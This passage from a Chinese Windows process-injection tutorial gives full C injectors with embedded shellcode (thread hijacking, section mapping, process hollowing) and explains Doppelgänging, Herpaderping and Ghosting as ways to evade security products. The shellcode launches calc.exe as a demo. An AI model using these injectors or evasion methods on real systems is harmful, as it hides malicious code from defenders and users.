      M128A Legacy[8];
      M128A Xmm0;
      M128A Xmm1;
      M128A Xmm2;
      M128A Xmm3;
      M128A Xmm4;
      M128A Xmm5;
      M128A Xmm6;
      M128A Xmm7;
      M128A Xmm8;
      M128A Xmm9;
      M128A Xmm10;
      M128A Xmm11;
      M128A Xmm12;
      M128A Xmm13;
      M128A Xmm14;
      M128A Xmm15;
    } DUMMYSTRUCTNAME;
    DWORD           S[32];
  } DUMMYUNIONNAME;
  M128A   VectorRegister[26];
  DWORD64 VectorControl;
  DWORD64 DebugControl;
  DWORD64 LastBranchToRip;
  DWORD64 LastBranchFromRip;
  DWORD64 LastExceptionToRip;
  DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;
```

有了这些理解，那么可以构造出如下代码：

```c
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

int main() {
    unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
    HANDLE targetProcessHandle;
    PVOID remoteBuffer;
    HANDLE threadHijacked = NULL;
    HANDLE snapshot;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;
    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1; 
    }
    if (!Process32First(snapshot, &processEntry)) {
        printf("Process32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    do {
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
            processFound = TRUE;
            break;
        }
    } while (Process32Next(snapshot, &processEntry));
    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }
    targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (!targetProcessHandle) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }
    remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!remoteBuffer) {
        printf("VirtualAllocEx failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!Thread32First(snapshot, &threadEntry)) {
        printf("Thread32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL threadFound = FALSE;
    do {
        if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
            threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
            if (threadHijacked != NULL) {
                threadFound = TRUE;
                break;
            }
        }
    } while (Thread32Next(snapshot, &threadEntry));
    if (!threadFound) {
        printf("Failed to find or open any thread in target process.\n");
        return 1;
    }
    if (SuspendThread(threadHijacked) == (DWORD)-1) {
        printf("SuspendThread failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!GetThreadContext(threadHijacked, &context)) {
        printf("GetThreadContext failed. Error: %lu\n", GetLastError());
        return 1;
    }
    context.Rip = (DWORD_PTR)remoteBuffer;
    if (!SetThreadContext(threadHijacked, &context)) {
        printf("SetThreadContext failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (ResumeThread(threadHijacked) == (DWORD)-1) {
        printf("ResumeThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injection and thread hijack successful.\n");
    return 0;
}
```

运行结果：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/lTCsZCxKdjA6wB28-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/lTCsZCxKdjA6wB28-image.png)

#### **NtCreateSection 与 NtMapViewOfSection 代码注入**

使用 **NtCreateSection** 与 **NtMapViewOfSection** 也可以实现进程注入，这里面用到了**内存节对象**(section object)与**视图**(view) 的概念。节对象表示**可以被共享的内存节**，一个进程可以使用节对象与其他进程共享它的部分内存空间。节对象还提供了进程将文件映射到其内存空间的机制。

每个内存节有着一个或多个对应的视图，节**的视图**是对**进程可见**的节的一部分。为节创建视图被称为映射节的视图。每个对节的内容进行操作的进程都有着自己的视图，一个进程可以有着多个视图(对相同或不同的节)。

综上，也就是说，如果要使进程能对节进行读写操作，该进程需要为节映射一个视图。多个进程可以通过映射的视图对节进行读写。

其中，我们可以使用 NTAPI NtCreateSection 来创建一个节：

```c
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);
```

NtMapViewOfSection 用于映射节的指定部分至进程内存中。因为是 NTAPI，所以微软并没有对该 API 的官方文档。

```c
NtMapViewOfSection(
    _In_ HANDLE SectionHandle,
    _In_ HANDLE ProcessHandle,
    _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress,
    _In_ ULONG_PTR ZeroBits,
    _In_ SIZE_T CommitSize,
    _Inout_opt_ PLARGE_INTEGER SectionOffset,
    _Inout_ PSIZE_T ViewSize,
    _In_ SECTION_INHERIT InheritDisposition,
    _In_ ULONG AllocationType,
    _In_ ULONG Win32Protect
    );
```

RtlCreateUserThread 用于创建远程进程的线程，也是 NTAPI：

```c
RtlCreateUserThread(
  IN HANDLE               ProcessHandle,
  IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
  IN BOOLEAN              CreateSuspended,
  IN ULONG                StackZeroBits,
  IN OUT PULONG           StackReserved,
  IN OUT PULONG           StackCommit,
  IN PVOID                StartAddress,
  IN PVOID                StartParameter OPTIONAL,
  OUT PHANDLE             ThreadHandle,
  OUT PCLIENT_ID          ClientID 
  );
```

了解这些概念之后，我们来了解一下该注入方式的步骤：

1. 通过 **NtCreateSection** 创建 **RWX** 权限的节
2. 通过 **NtMapViewOfSection** 映射节至本地进程，赋予 **RW** 权限
3. 通过 **NtMapViewOfSection** 映射节至目标进程，赋予 **RX** 权限
4. 通过 memcpy 或类似函数将 shellcode 填入节，这样目标进程映射的视图里也是盛放着 shellcode
5. 使用 **RtlCreateUserThread** 为远程进程创建线程，指向映射的视图触发 shellcode 执行

```c
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;
using NtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using NtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using RtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);

int main() {
    NtCreateSection pNtCreateSection = (NtCreateSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection");
    NtMapViewOfSection pNtMapViewOfSection = (NtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection");
    RtlCreateUserThread pRtlCreateUserThread = (RtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");

    if (!pNtCreateSection || !pNtMapViewOfSection || !pRtlCreateUserThread) {
        printf("Failed to retrieve function addresses.\n");
        return 1;
    }

    SIZE_T size = 4096;
    LARGE_INTEGER sectionSize = { size };
    HANDLE sectionHandle = NULL;
    PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("CreateToolhelp32Snapshot failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    if (Process32First(snapshot, &processEntry)) {
        do {
            if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
                processFound = TRUE;
                break;
            }
        } while (Process32Next(snapshot, &processEntry));
    }

    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }

    NTSTATUS status;
    status = pNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, &sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
    if (status != 0) {
        printf("NtCreateSection failed. Status: 0x%x\n", status);
        return 1;
    }

    status = pNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_READWRITE);
    if (status != 0) {
        printf("NtMapViewOfSection (local) failed. Status: 0x%x\n", status);
        return 1;
    }

    HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (targetHandle == NULL) {
        printf("OpenProcess failed. Error: %lu\n", GetLastError());
        return 1;
    }

    status = pNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, 0, 0, NULL, &size, 2, 0, PAGE_EXECUTE_READ);
    if (status != 0) {
        printf("NtMapViewOfSection (remote) failed. Status: 0x%x\n", status);
        return 1;
    }

    memcpy(localSectionAddress, shellcode, sizeof(shellcode));
    HANDLE targetThreadHandle = NULL;
    status = pRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
    if (status != 0) {
        printf("RtlCreateUserThread failed. Status: 0x%x\n", status);
    }
    else {
        printf("Shellcode injected successfully.\n");
    }

    return 0;
}
```

运行结果：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/4nkObi0DORS4FKWz-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/4nkObi0DORS4FKWz-image.png)

#### **进程空洞**

进程空洞(Process Hollowing)，也是一种代码注入技术。巧妙的是，我们不需要额外分配存放 shellcode 的内存空间，而是覆盖进程主模块的代码区域。我们之前学过 PE 结构，我们知道可执行代码存在于 **.text** 节，程序的入口，通常是 **main** 函数，即首先被执行。倘若我们用 shellcode 覆盖程序入口开始的代码，那么便可披着良性进程的外衣，实际却在执行 shellcode。

这项技术的步骤如下：

1. 调用 CreateProcessA 以挂起状态创建一个新的进程
2. 通过 **NtQueryInformationProcess** 查询进程相关信息，例如 PEB 地址。
3. 通过 **ReadProcessMemory** 读取解析 PE 的所需数据，利用解析 PE 结构的方法，最终获得主模块入口地址
4. 使用 WriteProcessMemory 将 shellcode 写入程序入口处
5. 调用 ResumeThread 继续线程的执行

NtQueryInformationProcess 也是个 NTAPI，其函数定义如下：

```c
__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);
```

ReadProcessMemory 用于读取给定范围内的内存：

```c
BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
```

需要注意的是，尽管我们没有分配 **RWX** 权限的空间，但是 WriteProcessMemory 会临时地将 .text 节的 RX 权限更改为 **RWX** 权限，依旧可能被检测到。

代码如下：

```c
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    STARTUPINFOA si = { 0 };
    si.cb = sizeof(STARTUPINFOA);
    PROCESS_INFORMATION pi = { 0 };
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    ULONG returnLength = 0;

    if (!CreateProcessA(NULL, (LPSTR)"C:\\windows\\system32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcessA failed. Error: %lu\n", GetLastError());
        return 1; 
    }

    NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
    if (status != 0) {
        printf("NtQueryInformationProcess failed. Status: 0x%x\n", status);
        return 1;
    }

    printf("PEB Address: %p\n", pbi.PebBaseAddress);
    PVOID imageBaseAddress;
    SIZE_T bytesRead;
    if (!ReadProcessMemory(pi.hProcess, (PBYTE)pbi.PebBaseAddress + sizeof(PVOID) * 2, &imageBaseAddress, sizeof(PVOID), &bytesRead)) {
        printf("ReadProcessMemory (image base address) failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Image Base Address: %p\n", imageBaseAddress);

    BYTE headersBuffer[4096];
    if (!ReadProcessMemory(pi.hProcess, imageBaseAddress, headersBuffer, sizeof(headersBuffer), NULL)) {
        printf("ReadProcessMemory (headers) failed. Error: %lu\n", GetLastError());
        return 1;
    }

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)dosHeader + dosHeader->e_lfanew);
    DWORD entryPointRVA = ntHeaders->OptionalHeader.AddressOfEntryPoint;
    PVOID entryPointVA = (PBYTE)imageBaseAddress + entryPointRVA;
    printf("Entry Point Address: %p\n", entryPointVA);

    if (!WriteProcessMemory(pi.hProcess, entryPointVA, shellcode, sizeof(shellcode), NULL)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }

    if (ResumeThread(pi.hThread) == (DWORD)-1) {
        printf("ResumeThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injected successfully.\n");
    return 0;
}
```

这样，我们就得以在良性进程下运行 shellcode 了：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/IltHGSywXasEUmPu-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/IltHGSywXasEUmPu-image.png)

### **进程操纵**

在 Windows 上，每个进程都与一个磁盘上的可执行文件关联，例如 svchost.exe，因为 Windows 从可执行文件启动进程，这些可执行文件通常是 EXE 格式的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/lkN4nXOSd19YfP52-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/lkN4nXOSd19YfP52-image.png)

不过，进程与可执行文件并不能等效。为了启动一个新的进程，会有一系列步骤发生。在现代 Windows 上，通常在内核中通过 NtCreateUserProcess 执行，不过 NtCreateProcessEx 依旧有保留，为了向后兼容性。步骤如下：

1. 打开可执行文件的句柄并且执行。例如 **HANDLE file = CreateFileA(L"C:\\\\Windows\\\\System32\\\\svchost.exe")**
2. 为文件创建**映像节**(image section)。一个节映射一个文件或者其部分至内存中。映像节是一种特殊类型的节，对应与 PE 文件，且只能从 PE 文件创建。例如 **hSection = NtCreateSection(file, SEC\_IMAGE)**
3. 使用映像节创建进程，例如 **hProcess = NtCreateProcessEx(hSection)**
4. 为进程配置参数以及环境变量，例如 **CreateEnvironmentBlock** 或 **NtWriteVirtualMemory**
5. 创建一个线程在进程中执行，如 **NtCreateThreadEx**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/EN2s0McWcYeyhGff-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/EN2s0McWcYeyhGff-image.png)

下图是 Process Monitor 中的视角：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/uxnQZ2X9DDXa0AKq-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/uxnQZ2X9DDXa0AKq-image.png)

进程是从可执行文件启动的，但可执行文件中的一些数据在映射到进程时会被修改。为了考虑这些更改，Windows 内存管理器在创建映像节时对其进行缓存，这意味着映像节会与其可执行文件不同。

#### **多重化进程**

多重化进程，即 **Process Doppelgänging**。该技术围绕着 Windows 事务性 NTFS，即 TxF。这是在 Vista 中引入的一种机制，它将文件系统操作封装在单个**原子事务**的上下文中。这种类似方法，在数据库管理中常被运用，确保了多个操作的数据完整性和一致性。通过 TxF，应用程序可以将一系列文件系统更改（例如创建、移动、删除文件或目录）作为统一的事务执行，该事务**要么完全提交**，**要么完全回滚**，不留下任何部分更改来影响系统的稳定性。

TxF 通过允许任何给定时间内**只有一个事务句柄**对文件进行写操作来维护数据完整性。在**写事务**期间，所有其他句柄都与写入者隔离。他们只能访问当他们的句柄被打开时已经**提交**的文件版本，从而防止数据破坏并确保文件数据的一致视图。如果事务被回滚，事务期间所做的更改对底层文件系统不可见，有效地使事务内的操作在提交之前不可见。

此外，如果在写操作期间发生系统或应用程序错误，TxF 设计为自动回滚事务，进一步保护文件系统免受破坏。这一特性对于在操作意外中断的情境下维护系统稳定性和数据完整性至关重要。

为了促进事务文件操作，Windows 提供了一套 API，包括但不限于：

- `CreateTransaction`：启动一个新事务。
- `CommitTransaction`：提交事务内所做的更改，使其永久化。
- `RollbackTransaction`：回滚事务内所做的更改，将文件系统恢复到以前的状态。
- `CreateFileTransacted`、`MoveFileTransacted`、`DeleteFileTransacted`：在事务的上下文中执行文件操作。
- `CreateDirectoryTransacted`、`RemoveDirectoryTransacted`：在事务中管理目录。

我们在代码里可能会用到的 API 定义如下：

```c
HANDLE CreateTransaction(
  [in, optional] LPSECURITY_ATTRIBUTES lpTransactionAttributes,
  [in, optional] LPGUID                UOW,
  [in, optional] DWORD                 CreateOptions,
  [in, optional] DWORD                 IsolationLevel,
  [in, optional] DWORD                 IsolationFlags,
  [in, optional] DWORD                 Timeout,
  [in, optional] LPWSTR                Description
);

HANDLE CreateFileTransactedA(
  [in]           LPCSTR                lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile,
  [in]           HANDLE                hTransaction,
  [in, optional] PUSHORT               pusMiniVersion,
                 PVOID                 lpExtendedParameter
);

BOOL RollbackTransaction(
  [in] HANDLE TransactionHandle
);
```

尽管被弃用了，但 TxF API 依旧在如今操作系统上可用。

<span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Roboto, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400;">多重化</span>进程利用 TxF 的能力，在另一个活动进程的地址空间内执行任意代码，执行一种不留下文件痕迹的进程注入变体。这种方法允许用恶意代码替换合法进程的内存，从而实现其执行，同时可能规避检测和防御机制。与进程空洞不同，后者在进程创建后修改进程的内存，多重化<span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Roboto, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400;">进程</span>通过在 TxF 提供的事务性上下文中覆写 PE 内容，先于进程创建。这确保了 Windows Loader 被误导为加载恶意内容，就好像它是合法的一样，无需使用如 NtUnmapViewOfSection、VirtualProtectEx 和 SetThreadContext 这些被密切监视的 API 函数，而是使用更鲜为人知的 TxF 相关的 API。

进程多重化的核心涉及在 TxF 事务内创建一个文件。只要事务未提交，这个文件对其他进程和操作系统保持不可见。通过操纵事务的时机——特别是，在适当的时刻回滚它——攻击者可以执行恶意负载，同时使其看起来好像涉及的文件甚至从未被创建。这种隐秘的方法利用了 NTFS 的事务性质，绕过传统的基于文件的扫描和检测方法，允许恶意行为者以降低被发现的风险发起攻击。

实现多重化进程的代码需要如下步骤：

1. 调用 **CreateTransaction** 创建一个新的事务
2. 在事务内，用 **CreateFileTransacted** 创建一个 dummy 文件储存载荷
3. 调用 **NtCreateSection** 创建节
4. 调用 **RollbackTranscation** 回滚事务
5. 调用 **NtCreateProcessEx** 根据**节**来创建进程
6. 创建一个新的线程在入口处执行

代码可以参考 [https://github.com/hasherezade/process\_doppelganging/blob/master/main.cpp](https://github.com/hasherezade/process_doppelganging/blob/master/main.cpp)

#### **赫帕德平进程**

赫帕德平进程，即 **Process Herpaderping**，是一种通过在映射映像后修改磁盘上的内容来遮掩进程意图的方法。我们之前说了，通常安全产品通过在 Windows 内核中注册回调 PsSetCreateProcessNotifyRoutineEx 来对进程创建采取行动。此时，安全产品可以检查用于映射可执行文件的文件，并决定是否允许该进程执行。这个内核回调是在初始线程插入时调用的，而不是在创建进程对象时调用。

因此，攻击者可以创建并映射一个进程，修改文件的内容，然后创建初始线程。在创建回调时进行检查的产品会看到被修改的内容。此外，一些产品使用写入时扫描的方法，该方法包括监控文件写入操作。这里的一个常见优化是记录文件已被写入，并将实际检查推迟到 **IRP\_MJ\_CLEANUP** 发生时(例如，文件句柄关闭)。因此，一个使用**写入-&gt;映射-&gt;修改-&gt;执行-&gt;关闭**流程的攻击者将能够绕过仅依赖于在 IRP\_MJ\_CLEANUP 时检查的**写入时扫描**。

为了利用这一机制，我们首先将二进制文件写入磁盘上的目标文件。然后，我们映射目标文件的镜像，并提供给操作系统用于进程创建。操作系统会为我们映射原始二进制文件。使用现有的文件句柄，并在创建初始线程之前，我们修改目标文件内容以遮蔽或伪造映像对应的文件。一段时间后，我们创建初始线程以开始执行原始二进制文件。最后，我们将关闭目标文件句柄。

我们逐步分析步骤：

1. 将目标二进制文件写入磁盘，保持句柄打开，这是将在内存中执行的内容
2. 调用 **NtCreateSection** 函数将文件映射为映像节
3. 调用 **NtCreateProcessEx** 函数使用节句柄创建进程对象
4. 使用相同的目标文件句柄，遮蔽磁盘上的文件
5. 调用 **NtCreateThreadEx** 函数在进程中创建初始线程。此时，内核中的进程创建回调将被触发，磁盘上的内容与映射的内容不匹配。此时对文件的检查将导致错误归因。
6. 关闭句柄。IRP\_MJ\_CLEANUP 将在这里发生。由于我们隐藏了正在执行的内容，此时的检查将导致错误归因。

```
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);
```

代码可以参考 [https://github.com/Nikj-Fr/Process-Herpaderping/blob/main/Herpaderping/Herpaderping/Herpaderping.cpp](https://github.com/Nikj-Fr/Process-Herpaderping/blob/main/Herpaderping/Herpaderping/Herpaderping.cpp)

#### **幽灵进程**

幽灵进程，即 **Process Ghosting**。微软为安全厂商提供了注册回调的能力，这些回调将在系统上**创建进程和线程**时被调用。驱动开发者可以调用如 **PsSetCreateProcessNotifyRoutineEx** 和 **PsSetCreateThreadNotifyRoutineEx** 等 API 来接收这类事件。尽管名称如此，PsSetCreateProcessNotifyRoutineEx 回调实际上并不是在进程创建时调用，而是在这些进程内的第一个线程创建时调用。这在进程创建和安全产品被通知其创建之间创建了一个间隙，还为恶意软件作者提供了一个窗口，在安全产品扫描它们之前篡改支持文件和节。

未公开的进程创建 API NtCreateProcess 使用的是**节句柄**，而不是文件句柄：

```c
NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateProcess(
    _Out_ PHANDLE ProcessHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_ HANDLE ParentProcess,
    _In_ BOOLEAN InheritObjectTable,
    _In_opt_ HANDLE SectionHandle,
    _In_opt_ HANDLE DebugPort,
    _In_opt_ HANDLE ExceptionPort
    );
```

当启动进程时，安全产品将获得有关正在启动的进程的以下信息：

```c
typedef struct _PS_CREATE_NOTIFY_INFO {
  SIZE_T              Size;
  union {
    ULONG Flags;
    struct {
      ULONG FileOpenNameAvailable : 1;
      ULONG IsSubsystemProcess : 1;
      ULONG Reserved : 30;
    };
  };
  HANDLE              ParentProcessId;
  CLIENT_ID           CreatingThreadId;
  struct _FILE_OBJECT *FileObject;
  PCUNICODE_STRING    ImageFileName;
  PCUNICODE_STRING    CommandLine;
  NTSTATUS            CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
```

值得关注的是 **FILE\_OBJECT**，这是内核对象，对应于传递给 NtCreateSection 的 HANDLE。这个 FILE\_OBJECT 通常对应于磁盘上的一个文件，可以对其进行恶意软件扫描。

安全产品还可以使用**文件系统微过滤器**(minifilter) 回调，这些回调在文件被**创建**、**交互**或**关闭**时接收通知。扫描每一次读写操作的系统影响可能相当大，因此出于性能考虑，文件通常在打开和关闭时被扫描。

